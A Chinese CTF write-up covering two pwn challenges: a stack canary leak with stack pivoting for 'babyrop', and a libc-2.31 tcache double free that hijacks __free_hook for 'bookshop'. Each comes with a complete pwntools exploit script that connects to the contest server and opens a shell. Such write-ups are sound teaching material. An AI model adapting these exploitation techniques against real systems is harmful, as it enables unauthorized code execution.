前言
比賽的時候做了兩個PWN,由於隊里沒有逆向手,所以又切了道逆向,隊友們做了兩個密碼,一個雜項。
總共241個得分隊伍,最終排第36名,離進決賽還是有挺大距離的。
這里,把我做的兩道PWN題總結一下。
babyrop(54解)
一個棧題,考察了挺多東西,主要是變相地考察了棧遷移。
首先,有個單字節溢出,利用其覆蓋canary末尾的\x00,使得數據無法截斷,之后printf即可將canary泄露出。
接着,動態調試一下,就很容易知道password對應的數是4196782(其實為字符串的地址)。
最后,read看似只能讀一次,不過觀察到其溢出了0x10,而read起始寫入的地址是由rbp控制的,因此可以通過覆寫棧上rbp處為我們想要寫入的地址,之后leave中有pop rbp,因此可以控制rbp,並且覆寫ret為call read前一點的地址,即可做到再次讀入,並且讀入到任意地址。
不過每次讀入的內容去掉canary只有0x18的長度,對於布置rop鏈肯定是不夠的,因此可以仿照上述的思路,進行多次分段讀入,最后再進行一次標准的棧遷移即可(其中需要注意的是read()的返回地址,壓進去的返回地址可能會被我們修改)。
最終getshell的時候,最簡單的方式就是一次棧溢出,利用one_gadget即可。
不過,隊里另外一個pwn手問我為什么他用system("/bin/sh")就不行,我試了一下,是可行的,我想他大概是由於bss_addr沒有抬高或者抬高得不夠所以打不通,因為這里調用system是需要訪問到bss_addr之前空間的,如果是碰到了不可讀(寫)段或者是申請的臨時空間覆蓋了之前的有用數據,就有可能會出問題。
當然,如果控制rbp后,跳轉到printf()前面一點,可以直接泄露出libc,相對於以上的思路,稍微簡單一些。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))
io.recvuntil("challenge\n")
io.sendline(b'4196782')
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()
bookshop(29解)
一個堆題,首先讓你讀入申請的堆塊大小(0x1F~0x666),之后每次申請堆塊,都只能申請這么大,並且堆塊個數也有限制,不過限制比較寬泛。
漏洞點也很明顯,一個UAF漏洞,而且寫入內容時read后並沒有添加\x00,可能造成信息的泄露(不過此題沒用到)。
首先,每次都只能申請一樣大的堆塊,那么如果要改變堆塊大小,就只能通過空閑堆塊合並了。
UAF漏洞可以讓我們很方便地泄露出libc的基地址(show放入unsorted bin的堆塊),UAF漏洞的攻擊方式最常見的就是double free,不過此處貌似不太好實現,主要矛盾在於libc-2.31下,對tcache的double free進行了檢測,在每個tcache bin的bk處放入了key,標識了其所屬的tcache。若是用fastbin double free再配合fastbin reverse into tcache好像可行,不過就不好將chunk放入unsorted bin以泄露libc了(fastbin之間也不會合並)。
所以,想辦法將key改變就可以對tcache進行double free了。
當scanf讀入大量數據,緩沖區不夠存放的時候,會分配一個堆塊存放這些數據,比如讀入0x666個字節,就會分配0x810大小的堆塊,並在讀入完成后,將申請的堆塊free掉。
可以通過填滿tcache后,連續free將很多個小堆塊合並為一個大堆塊,而其中單獨的每個小堆塊由於UAF漏洞,都可以單獨地free,若此時tcache沒滿,它們每個free后都會進入tcache,並且不會對next chunk的prev_inuse位進行檢測。
結合以上,可以每次申請0x200大小的堆塊,5個這樣的堆塊合並成0xa00大小的堆塊放在unsorted bin,並把0xa00中最后一個0x200的堆塊C單獨釋放到tcache中,這時候再通過scanf讀入大量數據,申請了0x810大小的堆塊,就會將0xa00大小的堆塊分割,並寫入新size到C的key位置處,實現了覆寫更改,之后就很容易利用tcache double free修改__free_hook為system進行getshell。
此外,還有一種思路:當scanf讀入大量數據,申請了large bin后,會觸發malloc_consolidate,從而造成fastbin合並后進入unsorted bin,就可以泄露libc了,然后用fastbin double free再配合fastbin reverse into tcache即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
def add(content):
io.sendlineafter(">> ", b'1')
io.sendafter("> ", content)
def delete(index):
io.sendlineafter(">> ", b'2')
io.sendlineafter("bag?\n", str(index))
def show(index):
io.sendlineafter(">> ", b'3')
io.sendlineafter("read?\n", str(index))
io.recvuntil(": ")
def lucky(size):
io.recvuntil("number?\n")
io.sendline(str(size))
lucky(0x1f0)
for i in range(13): #0~12
add(b'\n')
for i in range(12):
delete(i)
show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))
add(b'\n') #13
add(b'\n') #14
delete(11)
io.sendlineafter(">> ", b'8'*0x666)
delete(11)
add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()
Blindbox(8解)
感覺很復雜,其實就是我太菜了,坐等大師傅們的wp......
